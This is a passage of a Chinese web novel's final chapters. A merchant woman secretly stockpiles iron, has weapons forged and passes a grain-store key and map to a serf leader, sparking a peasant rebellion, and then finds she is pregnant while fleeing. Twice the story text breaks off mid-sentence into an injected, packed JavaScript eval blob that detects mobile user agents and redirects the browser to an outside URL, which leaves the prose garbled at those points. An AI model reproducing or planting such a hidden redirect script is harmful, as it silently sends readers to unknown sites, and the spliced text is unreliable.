田区太大,她想去那位客人所说无主的百亩田地看看,但不知道路。梁风停车,朝田里最近的农夫喊了一声,想问个路。 被他喊住的农夫拎着锄头和镰刀马上过来了,穿着汗衫,戴着草笠,很着急地过来,急切地说着什么,语气有点冲。 上元的地方土语完全没有受到中原官话的影响,梁风没听懂,她也没听懂。 “外地人哦!” 这句听懂了。梁风点头。农夫便往另一个方向指,大意是让他们往那边找去。 梁风和她再上车,去往所指的方向。走了一段,果然见到这片田区的里亭。 里亭是官衙设置用来监管田区的地方,多半是座简陋的泥砌茅屋。亭长正在屋外喝茶。 她上前询问,亭长一开口,可以用官话沟通。 梁风听见细碎的脚步声响,回头瞧见刚才问路的那个农夫小跑着追了上来。 “你想买那片地啊?想买的人可多哦,你出多少钱啊?” “我想去看看,那片田在哪里?” “那片田可远得很——”亭长话没说完,追上来的农夫强行打断,语气极冲地和亭长说话。 亭长不耐烦,挥手赶开。 亭长和她说,一个月前,西郊那片田原本所属的商户前段时日破产了,家道中落,变卖财产,那百亩田才空了出来。县衙想收归那片田地,结果这群佃农们忽然联合起来和县衙官府讨要那片田,他们想讨来算作佃农们的东西,产出的粮食也归佃农们私有。县衙不同意,佃农们罢工了。 县衙无所谓,任由他们罢工。佃农是农奴,卖身为农,农田并不属于他们,一旦罢工,完全失去了钱粮来源,也没有饱饭。于是没过多久,佃农们又纷纷回来种地。 田产都是大商贾的,他们愿意种地,地主家就会给他们管饭。 然而他们虽然回来种地,却始终不碰那空出来的百亩田。拖得官府没办法,只能将那片田往外售卖,继续允许商户管理农田和被农田捆绑的佃农。 官府一直想从商贾手中收归土地,这次被佃农一搅和,收不成了。 梁风问路的这位农夫之所以情绪激动,就是因为不希望那片田被商贾买走,所有佃农都觉得只要田空着,迟早有一天县衙会迫于压力同意给他们农田。 亭长指了路,那片百亩田在山脚下。亭长要应付情绪激烈的农夫,没法给他们带路。 金絮便和梁风往那片山脚下走,梁风为她撑伞,问道:“我没太懂。” 她想了想说:“大概是因为这里距离京城太远,双缗令在这里失了效用。” 她随手扯了一点麦穗细瞧,解释道:“这些田不是官有,都在上元县的商贾手里。商人需要粮食抵交赋税,官府需要粮食满足朝廷的调粮令。县衙为了收拢田产为官有,不断上调赋税,希望逼得商户破产。” 这点梁风能明白,双缗令关键在于商户之间互相监督,哪户家财超过官府规定的限额,举报便可分得其家财两成。但只要商户与百姓之间互不举报,双缗令的效果便大打折扣,导致商户很难被打压,尤其是已经积累了一定产业的商户。 她道:“这段时日做那笔西域丝单子,我发现上元县的行商流动不大,这些土地想必都是那些商户在双缗令颁布前积累下来的田产。官商互斗,官府发现这群做生意的不好斗,于是互斗改为勾结。官府默许商贾吞并田产,商贾每年上交大量的粮食,官商之间便有了一种平衡。” “商贾们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839956|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不种地,而是买来农奴种地。农奴种了一辈子地都无法拥有自己的私产,每日吃的饭都要靠地主家喂。地主家为了抵抗巨额赋税,也没多少粮食可喂给他们。可是追根溯源,佃农的祖上可能才是农田真正的主人,只不过一代又一代,不断被更有钱权势的人抢去了。如今空出一片田,农奴们便想在官商互斗时为自己争取一点私产。” 梁风眉头皱起来,替农奴觉得难,“他们就算分到了这片空田,合伙一起种,秋收后各家分一点,一百亩地分给那么多佃农,每人也只有一点点。” “是啊。农奴在官府眼里也是奴,官商互斗,无论谁占据上风他们都翻不了身。商人为了承担赋税,只能不断压迫佃农,榨干农民手中仅剩的血汗力气。” 土地不是他们的,种出来的粮食他们拿不到一点,佃农们仅仅是个使用农具的工具。 “我们不买田,我们做点小生意。”梁风道。 “嗯。”她把麦穗洒进地里。 头顶烈日炎炎,蒸得满身是汗。田地不好走,她擦了把汗,感叹:“走路都这么累,何况下地干活。” 走到山脚下的空田四周才感到清凉。这片田地没有立着标牌,山间泉水流淌其下,土壤格外肥沃。 是片好田。梁风道:“他们为什么不反抗。只要田产是不够的。如果不是吞并土地,自己的田产被更有钱的人抢了,没有人会甘愿为奴。” “可能是因为农奴们也不会生气吧。”她道。 看够了,金絮转身回城。梁风继续跟在身后撑伞。 之后几天,她每日都会去城郊看田,见证了农奴们不是没有反抗,而是他们的反抗被轻而易举地扑灭了。 远离京城的地界,天子的威压传到这里已经稀薄,揭竿起义随时都在发生。 他们每日清晨领用农具,每日傍晚事收完毕上缴农具,铁器不归他们所有,他们手中没有武器。耕地时,各田区农民分得极散,聚不到一处,他们的力量无法集中,甚至互相之间很难取得联系。 她晒黑了,纸笔记录每张农田的情况,每每回家总是说:“他们缺点东西。” 梁风也晒黑了,做小生意的铺址始终选不到合适的,梁风往她的怀里趴过去,和她撒娇,“我们去郡城吧,不待在这儿了。” 她终于放下许多记录着内容的纸张,答应他:“好。” 有了上元县路引,进入上元郡郡治容易很多。 新宅子小了些,位置比较偏,勉强够住。收拾好行李,梁风和她在城里简单巡了一圈,走遍几条大街,供她为铺子选址。 郡城的生活十分繁华,而且热闹。梁风和她玩了几日,她很快便选定好一间商铺。 位于大街中的一条小巷,西域丝单子赚来的钱全用来买这间商铺。 她决定卖酒。 梁风说好。尽管她并不会酿酒。 她从别的商户那里买来新酒,放到自己的铺子里卖。 开张七日,生意一般。 她说她要学会酿酒。 梁风说好。 一边卖酒,一边没忘做个行商。到了郡治,她获取消息的渠道多了很多。 暗卫们被她征调,散出去四处打听消息。城西来了个商队,想要做些什么买卖;城内一个大户人家办喜宴,需要采购何种鲜花;几家药房收购药材,几家医馆卖出药材;哪个工匠造出新艺品,哪家新宅子落成需要装饰。这些消息被她整合到一处,对症下药,仅用了两月便大赚一笔。 她忙得脚不沾地,梁风学着算账为她分担。还没学明白,暗卫已经比他先一步学会了。 他扔了账本。 片刻又捡回来,继续看这些密得像笼子一样的字。 好在许多事情她开始雇人去做,自己不跑了,梁风每天都有她陪着。 三天打渔两天晒网地学习算账,困了就枕着她的腿睡觉,秋天到了,他爱打盹。 一日午睡醒来,看见她还在写写画画、记那些不明所以的数额。梁风翻个身,抓住她的双手让她抱住自己,靠着她的肩头劝道:“家里不缺钱使了,你歇一歇。” 虽然赚来的钱多数拿去交税,但家里不缺钱使。 金絮放下笔,顺势抱着他,梁风舒服地依偎着她。 “我其实很喜欢你那年交出兵权的决定。”她突然道。 梁风哼哼地嗯嗯嗯,连连点头道:“多喜欢我一点。” 她笑了笑,“我建了间粮仓,去看看么?” 梁风把头抬起,看着她。她一笑。 粮仓建在极其偏僻的郊外,和田区隔着相当远的距离。一座独立的库房,只有一扇门,没有窗户。从家里出来到粮仓,至少需要两个时辰。 她道:“我们也来囤粮,酿酒。” “为什么建在郊外?” “城里买库房太贵了,大多数粮商都是将库房建在城外的。” 梁风没所谓,她想干什么就干什么。 这之后,金絮扩大经商范围。暗卫收集消息的途径扩散到了周边所有大郡,她手下办事的人越来越多,她却始终屈居在酒铺那间小小的店面之中。 梁风提议酒铺可以换间大点的铺面,她说不用。 她忙于整理暗卫寄来的所有信件,统合信息,周边商队、矿工、官道的动向、盐铁的流通尽在她掌握,甚至包括朝廷下颁的各种政令,以及各大郡府对粮食、气候、商匪流露出来的态度,她全都知道。 内容简直要令这一封封寻常寄送的信件变成谍报了。梁风简单地翻阅信纸,暗卫已经完全变成她的人,有什么消息动静不会过到他这头。 金絮和他道:“官商勾结,联合起来欺负佃农的现状不止发生在上元一带,往远了看,哪里都是一样的。” 她深深呼出一口气,“有的是官府直接控制佃农,有的和上元一样,有的不是用的农奴,田产属于农民,但是税收已经征到了十年后,有的甚至税赋高达九成九。” “今年冬天该怎么办呢?”她撂下笔,往后一倒。 梁风翻看提及附近郡城税收的几封信件,京城的朝廷下来新令,上月起加收纸墨税钱,严令地方监控士农工商之间契约文书的设立,一切交易需走书面。 税目已经够多了,还在增加,看来朝廷又起动荡了。他想说什么,一扭头,见她横躺榻上睡着了。 222. 新旧交替 等不到冬天,入冬前,上元县爆发了一起大闹事。 农奴们和县衙发生争执,推搡扯骂间伤了几个县衙的人,县衙一怒之下抓住数个奴隶意图大惩。 消息传到郡里,百姓之间疯传,梁风不用打听都知道了事态。 纸墨增税增到了大字不识一个的农奴身上,一辈子没握过笔的奴隶们突然要为自己每日使用的农具交文字税了。 官衙解释,农具不属于他们,他们每日从县里接过农具暂用,是为借,需要写立借用文书。文书一签便要交纸墨税,合情合理。农民们无法理解,闹了起来。 这些天,农民们不光罢工,还在县衙抓了几个闹事的农奴头领之后集体钻空子把人救了回去。 上元县府怒不可遏,起刀兵,打散聚众的农奴,重新抓获几个领头奴隶。由县尉亲自带兵押到郡治,或杀或罚,具体处置交由郡上定夺,不杀鸡儆猴不行了。 过了两天,被押着上郡的农奴捆到了西市,金絮急忙跑去围观。 草台上,被抓的农民共六人,都是男人,捆成一排。围观百姓不算多,梁风和她可以很清晰地看见每一个被捆着的人。 六个人衣裳单薄,头发像冬天的稻田,面黄肌瘦,嘴唇发白,六双眼睛却仿佛汲取了身体全部的营养,愤怒得发亮。 梁风看出这六人中有三四个人不太一样,衣裳下羸弱的身躯隐隐有种力量流转的感觉。农活是体力劳动,可以起到锻炼躯体的效果,但是单一的动作很难练出全身肌肉协调的身体,反而个别关节容易过劳犯病。 那三四人显然拥有得天独厚的身体。 金絮忽然道:“农奴起事闹大了,未避免传到京城,也不希望没被抓住的农奴触底反弹,郡府应当不会赶尽杀绝,尤其在如今农奴人数减少、多数人都不愿卖身种地的情况下,只会施罚以示惩戒,这次被抓住的人都能留下一条命。” 草台一角,郡府的文官念着一份文书,宣布对这六人的处罚决定。 六人的名字逐个念了一遍,每人鞭刑二十道,当众施刑似乎是想起到羞辱之意。 草台下的百姓静默无声。金絮看着六人,忽然道:“那人,我有点眼熟。” “中间右边的那个?” “嗯。” 刚才念到这人名字叫袁七八,是六人当中唯一一个会在文官宣读罚决时开口痛骂的人。梁风低声道:“你认识?” 她摇头,“不是人,是他身上的感觉,让我觉得很熟悉。” 看个头,袁七八是当中长得最高大的,也是最先被念名字的,应当就是这次起事的领头人。 施刑开始,一道道刑鞭的破空声响起来,部分围观的百姓接连散开。 她看着每一道鞭子在挥打后扯起飞溅的皮肉,雨花般洒在草台之上,混着黄土的血腥气扩散开。六个人一声不吭地受着,土硬的衣服开裂,像干涸的大地开裂。 “这样的刑罚很重吗?”她问:“相比起忍受的不公,挨打的鞭子也太轻了吧。” 刑罚很快结束,他们不会得到治疗,马不停蹄地送回上元县,路上是死是活全看命数。 梁风和她回家,“有些人身体力量是天生的,吃糠咽菜也能养出一身肌肉。” “我也看出来了。”她道:“他们该有机遇。” 这是出现在眼前的六个人,还有很多人是看不见的。不止是上元一带,入冬前的一月,南方多数郡县都发生了不下数十起农民举事,全部被镇压了。 她继续赚钱,一门心思地赚钱。不断调派各处人手流转货物,买来的马车持续增多,她拥有了一个商队。 外面可以预见地越来越乱。梁风决定从简单的算账入手,从给家里记账开始,慢慢成为她的贤内助,包揽家务事,这样她可以没有后顾之忧。 进入冬季,气温湿湿地冷,梁风给家里购置了一批冬衣。她出门少了,经常和他并肩上街看景色。南方的冬季和北方很不一样,虽然忽冷忽暖,但有很多树木不会凋零,南方的冬天是浓墨重彩的。 开春之后,雨水变得频繁,中大雨经常下个没完。 二月底,她想从家里调用一笔钱,不走账目。梁风问她想干什么。 “我想雇一批铁匠。”她伸出两指比划,“雇八个铁匠。” “雇铁匠干什么?” “打造兵器。” “兵器?”梁风追问:“打造兵器干什么?” “给手里没有武器的人使。”她扫了眼账本,“雇这八个铁匠的钱不走账目,避免被查出来。之后给家里添置一些家私吧,雇铁匠的钱就算进购置家私的钱里面。” “你要干什么?”梁风拽着她的袖子,问清楚。 他几乎整日缠着她,她在做什么事情根本没有瞒着他,也瞒不住。 金絮什么也不说,带他去城外粮仓。 打开门,空空的一间仓房内只放了两百斤左右的粮食。她走进里面,推开一扇暗门,浓烈的铁腥气喷涌出来。 梁风感到惊奇,他没有留意过粮仓有间暗室。暗门内部漆黑,什么也看不清,但能闻出来里面堆满了铁块。 梁风疑惑地看着她,金絮把门关了道:“这里大概有两千斤铁,形状不一,是我从各地搜罗来的。” “你想干什么?”梁风有点急了,“南方和中原不同,这里所有的郡县都对铜铁把控十分严格,禁止民间私营,违者触犯大周律的。” “我知道,这也是我来南方前没有想到的。”她道:“上元县那些农奴没有自己的农田,也没有自己的农具,我想给他们打造一批铁器。” 梁风当即摇头,“你给他们打造的农具他们用不了,甚至无法送到他们手里。” 铜铁官营,百姓只能从官府手中买来家中常用的铜铁器具,包括菜刀、炒锅和农具。她即便打造出了农具,农奴明面上也没法使用。 “我知道。”她不说什么,独自往外走。 梁风追着她问:“这么多的铁你是怎么搜罗来的?” “这些铁都有经过损耗,不是新铁。官府每卖出哪怕一柄菜刀都会有篆刻和记录,一人一年只能买一样,黑市里都买不到太多,没有别的渠道,只能用跑商的方式私囤。” 走出去,她回身将仓房的大门锁上。 “我不停地往周围其他大郡跑商,每到一个新地方就把马车的车轴拆下来,再找铁匠铺或官府以损毁为由修理马车,换上新车轴。” 靠攒旧车轴攒下了半个仓房的铁块,形状相同,且都是锻炼过的精铁。 她道:“车轴都是实心的,跑一次商能派出十几辆马车,跑几趟就能攒上两三百来斤,现在攒够了,可以请铁匠了。民间的铁匠十分难找,我找遍了南方几个大郡才找到八人。” 梁风不吭声,走到马车边,放下板凳,扶她上车。 “今年铁器的税赋又上涨了十钱。” 梁风知道,他就在管账,家里每样东西多少钱他都有数。 金絮坐进车里,梁风驾车。 前行一段,稻田的风逐渐远离,干燥的农田味道闻不见了,梁风问她:“是农具还是兵器?” 话语被冬末的寒风刮碎了往后吹,车内十分沉默,梁风等不到她回答,扭头看了一眼。 金絮也在看着他,用一种任人窥视的神情。 “是农具还是兵器,取决于他们怎么用。” 她不愿意坐视不管。 梁风不再说什么,依她所言,精心挑选给家里购置一批家私,将雇铁匠的钱算进了家私里面。 粮仓建在郊外,为了打造铁器时的乒乓声不会惹人怀疑。她是早有打算的,粮仓之所以建立就是为了私囤铁器。 梁风想细问,又不想,愈发频繁地黏在她身侧。 新买的家私陆续送到家来,她将家里重新布置一遍,家中多了许多可以落灰的东西。 气温日渐回暖。梁风没再去粮仓看过,不知那批铁器打造得如何。 一个月过去,他只听说八个铁匠解雇,金絮从酒铺中调出一大笔钱发给了铁匠们。 这之后,她逐渐少出门,多在屋里睡觉或是坐在窗台下遥望远方的天空。 又半月过去,她将一张画了图标的纸条连同一枚钥匙交给暗卫送了出去。 梁风永远陪着她,看她盘算家里的财物,盘算完了却不做处置。酒铺尚有未完成的单子,她的商队车马已经停了几天没有动过。 四月近尾声,她叫暗卫出城去粮仓看看。 傍晚时暗卫回来,说粮仓空了,所有的东西都消失了。 她听了仍然沉默,低头不知想着什么。窗台的木框被她用指尖抠出了痕迹,她什么事情也不干了。 五月初,消息终于传到郡城,上元县的农奴和县衙打了起来,真刀真枪地打起来。 闹得很大,县衙猝不及防,一个晚上被农奴们举事端了。 大小官员跑了一大半,袁七八领头的几人和县尉一场拼杀,双方都有死伤。最终县尉逃跑上郡,县令和大小文官一众跑上郡来,留下一城百姓。 袁七八闹事的时候,上元县百姓有人异议,却无一人阻拦。消息传到郡里,郡内百姓奔走相告之间隐隐弥漫着不安和恐慌,不知这意味着什么。 她的手指在窗户上磨出了血,难以从百姓逐渐扩散与夸张的传言之中推测出事态走向,她的紧张没有得到缓解。 血迹不断擦着窗台,梁风掰过她的手指为她包扎,手指尖的皮肤已经破了。 梁风抬头看见她眼中含泪,脸上却没什么情绪,呆呆看着外面的天空。 她送出了粮仓的钥匙,粮仓中消失的东西除了打造好的兵器,还有那为数不多的粮食。 那张画了图标的纸是标注着粮仓位置的地图,农奴不识字,如果将粮仓位置用文字写出来,农奴会找不到。 “那只是一堆铁,关键在于他们想以什么身份握住那堆铁,农奴握的是农具,反抗者握的是兵器。”她道。 包好了手指,梁风亲亲她,什么也不说。 不能等郡府做出反应。她有点焦躁,却没想好下一步应该怎么做。 梁风说什么也不用再做,顺其自然。 顺其自然的结果是她的五根手指都因她的焦躁在窗台留下血痕。 血迹未干,袁七八带着从县府内抢夺霸下的真正兵器,冲上郡来了。 上元郡府当即起兵镇压,一日之内点兵集结。 金絮和梁风在家看着轰隆隆的兵甲穿城而过,集结于城外,城内百姓不敢出门。 袁七八却绕过郡府兵,当先与郡城外更大批的农民取得联系,两方人迅速结合在了一起。 短短半天时间,袁七八与农奴们联合霸占了所有农田。他们不是军队,却如军队一般默契凛然,枯瘦的身躯以每一次耕地捶下锄头的姿势挥出兵器,隔绝一切试图侵犯农田的敌人。 金絮越发焦躁,手指缠着的纱布被她揉成了团。 “他们现在还不能和郡府对抗。” “或许可以。”梁风扣住她的手,防止她折腾自己,抱抱安抚她的焦躁。 农事未到秋收,支持袁七八的是上元县的百姓,有上元县的支持至少在秋收前不会断粮。而秋收之后,袁七八的队伍将再无顾忌。 郡府兵意图夺回农田,举刀进攻袁七八。 城内百姓蜂拥而出,聚集郊外观战,梁风和金絮也混入其中。 烈日下,农奴挥舞起的漫天黄沙中,他们亲眼看着郡府兵步步后撤,连带着百姓被逼退至城门口。 初次交锋仅仅持续一个时辰,郡府兵竟败下阵来。 人数基本抗衡,然而兵甲竟敌不过枯瘦的胸膛。消息传进城里,满城百姓尽皆愕然。 郡府一众文官退守而持合谈态度,同时去信京城和最近的另一座大郡求援,并试图夺回上元县的百姓声望。 城内百姓恐慌起来,茫然无措,互相间以多种方向猜测事态。金絮和梁风整日穿梭在消息灵通的各大茶楼酒馆,以便掌握最新进展。 五天后,第一个男人走出城门,走向袁七八的田地。 一人示范,引出众多呼应的人。城内百姓接二连三出城,带着零星身家投奔袁七八。 各大酒楼茶馆的人们每日种种可能的猜测与讨论完全压制不住,更多的声音是对郡官府的强烈控诉,控诉的尽头乃至于直指朝廷。 百姓声望彻底夺不回了,袁七八的队伍不再只是农奴,不再只是枯瘦的胸膛。有了郡城百姓加入,奴隶们的队伍快速壮大,壮大的速度超出预期。 郡府封锁城门,严禁百姓出城。 议论与控诉随着城门紧闭一夜之间变为冲天的不满,各大酒楼内集结的百姓联合上告郡府,要求太守打开大门。部分百姓包围郡府,部分百姓包围城门,拿着菜刀锅具往府门上扔石头。 养得一身肥油的郡府大员们躲在家里闭门不出,只会使唤手下传话跑腿。每个传话的人出来都被叫嚣的百姓捉住了,捆在一起。 弹压不住之下,郡府再一次对袁七八发动镇压。 无法出城,梁风和金絮还有城内百姓一起等待镇压结果传来。 这次用了半天,城门打开了,被农奴剥了铠甲的郡太尉狼狈回城。第二次镇压再次失败。 金絮精神不太好,梁风让她在家多多睡觉。城内外双方陷入僵持,袁七八能够抵抗镇压,却不具备攻城的实力,除非短时间内做到拥兵自重,否则等外援来了还是可能被镇压的结果。 第二次镇压结束不多久,附近的大小郡县接连传来农奴起事的消息。 城内又起骚动,小县城的农奴纷纷跑来归顺袁七八,想从袁七八占领的农田中分一杯羹。 农奴们出现内乱,袁七八开始逐渐控制不住庞大的人群。 郡守府反而冷静下来,坐看农奴土崩瓦解,同时等待外援。 另一种谣言四起,姓袁的到底是个农奴,一夕之间得势,迟早失去不属于自己的东西。 金絮忧心忡忡,总是徘徊在城门附近。更详细的消息很难打听,梁风索性命暗卫去更远的地方,留意附近郡县过来的人。 袁七八内部爆发过几次乱斗,然而不曾出现瓦解的前兆,也没有人离开。 六月初,暗卫潜踪发现,一队衣着光鲜的人马趁夜进入袁七八内部。没过几天,袁七八开始组织人手围绕农田搭建草屋,似乎是想就地扎根。 金絮迅速发现异常,“这是要驻守上元,袁七八的队伍中出现了军师,至少是出现了有头脑的人。” 她道:“上元郡对袁七八来说很重要,充沛的粮食产量完全可以作为他的发家地。驻守上元,或许是那位军师的主意。如何有组织地扎根、如何压制内乱、如何调动人手都是当下袁七八最需要学习的。” 她问:“袁七八会成立造反军吗?” “会。”她自问自答。 梁风看着她,她的脸色不太好,神色却很坚定。 郡府的反应也很快,派出作战小队实行车轮战,消耗农奴仅有的物资。 同时,城内某些偏僻的角落,夜间开始出现交头接耳碰面的几个农夫。袁七八的人在郡城外围做一些小动作,与城内人暗中往来,交换兵器。 暗卫细查之下,袁七八还在城内寻找一个送出钥匙和图纸的人。 金絮不出头,保持沉默地旁观。梁风永远陪她一起,送出钥匙和图纸的事他知道。 她点燃了火,已然控制不住火势。袁七八的队伍这么快出现军师是她没有想到的。 梁风也没有想到。但是这个军师再晚点出现,袁七八的起事会不会被扑灭也不好说。 她不希望袁七八失败,若这次起事不成功,日后农奴的处境只会更加艰难。可是袁七八成势,造反军踏破中原,血流成河的景象是她想看到的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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门一开,大量的百姓往城外涌,试图在袁七八还未建成全部房屋时,多建一间自己的。 真正的战争很快就要开始了,百姓们纷纷收拾行李。更混乱的地方是郡府,大小官员站街上不住地喊让百姓留下,坚持等到朝廷的援军到来。 有的人听见还有朝廷的援军,于是留在城内,有的人不听。 附近郡县同样涌来更多的人,袁七八的队伍已经扩大到来不及建造房屋,准备剑指郡城官府。不少郡府大员抱着官帽子往外逃跑。 来来往往的人群忙着自己的求生,金絮看着混乱的街道,紧紧攥着梁风的手,“决定做这件事,我就考虑到了所有后果。我们得走了,离开这里。” 她看着他道:“皇帝迟早知道你没死,而我们身在造反初起的地方,皇帝一定会调查,很容易查到我们。” “好。”梁风答应。之前是城门封锁出不去,如今城门已破,也该走了。 拿不了太多行李,只能带一些必不可少的东西。她早已盘算过家里的财物,该带走什么不用多想就有数。 她边收拾边分析道:“皇帝那么怕你起反心,前些年一定要将你放在眼皮底下,可是容易造反的人不是你,而是我,或许是你不应该和我在一起......” 梁风一个脑瓜崩儿弹过去,金絮被弹得脑袋一仰。 他看出她心事很重,总是走神,神情也是恍恍惚惚的,没想到居然说不应该和她在一起这种话。 “瞎说什么。你送出去的那张画了粮仓位置的图纸,里面也有我的一半。”梁风道:“你命暗卫送出那张图纸后,我半路截下了,给那张纸多加了四个字。” 她微微睁大眼睛,“你写了什么?” “我问袁七八‘何不为帝?’。”梁风轻飘飘道:“袁七八不识字,肯定看不懂。只有他的第一个军师出现后告诉他,他才会懂,也是在看懂之后才开始在城里寻找送给他纸条和钥匙的人。” 火不是她一个人点燃的。 甚至更该说,点火的不是他们,只是递了个火折子。没有他们,袁七八一样会起事,火折子的出现只不过是将事情提前了。 金絮沉默地抱过来,梁风十分满足地被她抱一抱。 和她一起商议具体在哪天离开,她希望尽快,剩余财产在离开的第三天送给袁七八。 但是梁风想着家财能不能多留一点,以防万一。商量到晚上吃饭的时候,金絮突然吐了,才吃了一点的东西全部吐出来。 她太紧张,压力过大,彻底没了胃口。梁风想去做点她喜欢吃的,李婶诊过脉后,却说她怀孕了。 毫无征兆的意外打下来。金絮愣住,梁风都愣住了。 她的眼泪立刻流出来,更加仓皇无措。即将逃亡上路,战争即将打起来,躲避战争需要躲避多久,有了孩子,孩子难道在战乱之中生出来吗。 她的情绪有些崩溃,梁风也为孩子的到来感到意外,当先安抚她的情绪。 她并不欣喜,反而哭了好久。 孩子的事情在梁风躲避追杀到达外离谷后不久听她提起过,她不想要小孩,征求他的意见。梁风对孩子没有非要不可的执念,一切随她心意。之后李婶为研究如何妥善避孕检查过他们的身体,说她体内有淤塞,不容易受孕,不喝避子汤都很难怀上。梁风便没有让她喝药,这两年间也不曾有孕。 金絮在他怀里睡着,梁风抱她到床上,李婶再次为她诊脉,这次诊了很久。 她体内的淤塞没有清理过,当然还是堵着,怎会有小孩。 但就是有了,李婶也说不出个所以然,或许是冥冥之中的缘分。但是在身体淤塞未通的情况下生产,极有可能出现意外,李婶建议,慎重考虑之后再决定是否留下这个孩子。 计划有变,梁风想等她情绪稳定下来,由她决定要不要孩子,之后养好身体再上路。 金絮却在醒来后问他什么时候出发。 她看起来好多了,梁风抱抱她,“不急着走,好点了吗?” 她有点呆滞,怔怔答道:“无论如何是要走了。袁七八若是打进来,城里太乱了,我们去个安全点的地方。” 哪里安全?外面哪个郡县没有在闹起事?梁风还想劝:“路上颠簸重。” 把李婶的话告诉她,还有她身体的淤塞情况,金絮听后坚持道:“必须要走了,再不走,朝廷的援军就该到了。袁七八的人慢慢控制城内,用不了多久就会查到我们。” 她的眼睛还红肿着,“哭没有用......” 梁风亲亲她的眼睛,他心里很担忧,但眼下情形确实该走了。 再急也需要几天准备。他力求路上稳妥,行李需要备更全面一些,她这一年积累下来的产业也要想个办法交到袁七八手里。 袁七八很执着于找到他们,公然放出消息求见送出图纸和钥匙的人。郡府残存的官员被逼得躲在城内角落,各大酒楼还聚集着众多分析形势、猜测朝廷态度和援军何时抵达的人。甚至有人明目张胆为袁七八筹划,在上元郡站稳跟脚后,下一步应当指向哪里。 伴随城内越发混乱的街道与议论,家中的小缃忽然说已找到托付,希望能够离开。 又是一件他没想到的事情。 小缃这一年身边的确有个往来比较密切的男人,那男人家境普通,是市井间最多见的一类人,老实憨厚,最大优点是听小缃的话。 梁风同意了,金絮没想多久也同意了,并把多余的产业全部交给小缃。 小缃能打理便继续经营,不能打理便卖掉,跟着他们也未必是一条好出路。 送走小缃,家里空了许多。 梁风加购三辆马车,改造车轮,包裹棉花和牛皮减轻颠簸,抛弃多数身家,在袁七八进城前出城北上。 223. 《红叶书》(完) 马车行进偏慢,战争尚未真正打起来,避战不至于太过着急。梁风只想保证稳妥,整日对着地图挑选最适合定居的地方。 不能是大郡县,不能是战略险要位置,要鲜为人知,要足够僻静。太难找了。 窗外山间景色缓慢移动,南方浓郁的色彩总有一种四季静好的感觉,却无法让他心安下来。 “回看这三十年,好像总是在搬家。不是搬家就是出征,走来走去,每一个地方都住不了太久。” 最久的地方,反而好像是...... 梁风不想了,抱紧怀里的她,“有你的地方才是真正长久,对我来说,你比孩子更重要。” 她还在犹豫。 “你想生,生下来后我们一起努力给孩子一个安稳的家。你不想生,那就不生,等身体养好了之后,我们找一个僻静的地方过后半辈子。” 他已经在找了,很快就能找出来。 金絮轻声问:“你是不是不想要?” 梁风顿住,片刻点头,“嗯。” 他不想要这个孩子,因为李婶说她生产过程可能会有意外,但他想表现出支持她一切决定的态度。 金絮没说话,梁风知道她在权衡。 抵达一座小县城。郊外农田基本不见农夫,梁风停下添置药材,在驿馆边缘路过一个简陋的算命摊子。 算命摊子上的老头嘴里念着“新旧交替,新当新生,旧当毁灭......”的话,金絮多看了两眼。 梁风也注意到了那个老头,也听见了这话。不算神神叨叨,意思指向挺明确的,朝代的新生从南方开始了。 梁风把她拽回去。粮药买齐,继续上路。 走官道上时经常能遇见来自同一个方向的行人,偶尔交谈几句,得知朝廷的援兵已经下派,南方的僵持即将打破。 梁风重新计算路线,往东边绕了点路,避开朝廷南下的援军。 金絮越发沉默寡言,窝在车里睡觉,睡醒了看着窗外发呆。梁风片刻不敢离她,怕她被马车颠簸到了。 她趴着车窗晒太阳,手伸出去接住阳光,“反叛由我挑起,是我亲手断了孩子往后能拥有安稳生活的后路。你知道的,我不应该和袁七八会面,袁七八的敌人之一就是我。” 梁风补充道:“还有我。” “如果我把孩子生下来,你会一直照顾他吗?” “我们会一直照顾他。”梁风道。夫妻是不能分开的,分开了盘古会把天地重新合上。 “我们要一起,每一个孩子都应该是父母双全的。”梁风抱住她,下巴点点她的脑袋,“世间变坏不是你父亲的错,更不是你的错。不是人人都有义务将这个世间变好。” 金絮窝在他怀里闭上眼,没有说话。 孕满三月时,她有点孕吐,受不住马车的颠簸。梁风便想就近找个县城,暂住渡过这几月。 他翻看地图,选中一个最合适的地方。 暂住位置刚定下来,她午觉睡醒,忽然郑重道:“我想好了。我决定生下来。” 梁风缓缓看着她,合上地图,犹豫不决时已经能猜到她的选择了。 “官商勾结始于我爹,如果朝廷死了,我就是旧朝代的最后一笔,我需要被替换。”她道:“孩子代表新生,毁灭总是伴随着新生。他在这个时候来到我们身边,说不定他与这世间有些缘分呢。” 想明白了反而开朗一些,她笑道:“新旧交替,旧朝代的结束是新朝代的开始,他应该被生下来。” “什么新旧交替,谁说的新旧交替!孩子可以生下来,你也必须好好的!”梁风强硬道:“不然就不生。” 轮到金絮安抚他了。她亲亲他的脸,“你要相信我。” 梁风才不听她哄,疯狂摇头,“是你不相信我。” 脑海里涌现出非常多的地狱景象,混成一团,梁风简直泪流满面。 “有了孩子,不是更像一个家吗?”她继续哄骗。 “你最喜欢骗人了。” “不骗你。”金絮仍亲亲他。 做生意骗对家,过日子骗他。梁风毫无办法。 走了近一月,抵达目的地。梁风挑了一个挨着几家医馆和药铺的住处,暂时安定下来。 她安心养胎,梁风规划生产之后的安排。他叫暗卫外出打听上元郡的现状,尤其是朝廷援军抵达之后的情况如何。 上元郡内的消息被压下了,很难传出来,暗卫们费了点力气才打听到一些或真或假的消息。朝廷援军并没能将袁七八彻底镇压下去,激得袁七八在秋收后返过来摧毁农田,此时双方正在对峙。 如果这一次袁七八能够成功反抗镇压,那就真的站稳脚跟,成立造反军了。 